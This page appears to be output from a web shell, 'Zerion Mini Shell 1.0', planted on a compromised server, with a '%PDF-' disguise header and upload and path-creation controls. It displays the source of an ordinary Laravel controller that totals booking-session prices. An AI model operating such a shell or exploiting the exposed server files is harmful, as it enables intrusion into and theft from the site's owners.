%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/forge/api-takeaseat.eco-n-tech.co.uk/app/Http/Controllers/Booking/
Upload File :
Create Path :
Current File : //home/forge/api-takeaseat.eco-n-tech.co.uk/app/Http/Controllers/Booking/SummaryController.php

<?php

namespace App\Http\Controllers\Booking;

use Carbon\Carbon;
use App\Models\User;
use App\Models\Product;
use App\Models\Session;
use App\Helpers\MoneyHelper;
use App\Http\Requests\GetBookingSummary;
use App\Http\Controllers\Controller;

class SummaryController extends Controller
{
    /**
     * Handle the incoming request.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    public function __invoke(GetBookingSummary $request)
    {
        $sessions = [];
        $grand_total = 0;

        foreach($request->get('sessions') as $session) {
            $product = Product::findOrFail($session['product_id']);
            $session_type = Session::findOrFail($session['session_id']);

            $item_total = $product->price;
            $grand_total = $grand_total + $product->price;

            $sessions[] = [
                'product_name' => $product->type,
                'session_name' => $session_type->name,
                'item_total' => money(MoneyHelper::stripeFormat($item_total)),
                'slot' => [
                    'start' => Carbon::parse($session['slot']),
                    'end' => Carbon::parse($session['slot'])->addHour()
                ]
            ];
        }

        return response()->json([
            'sessions' => $sessions,
            'grand_total' => money(MoneyHelper::stripeFormat($grand_total))
        ]);
    }
}

Zerion Mini Shell 1.0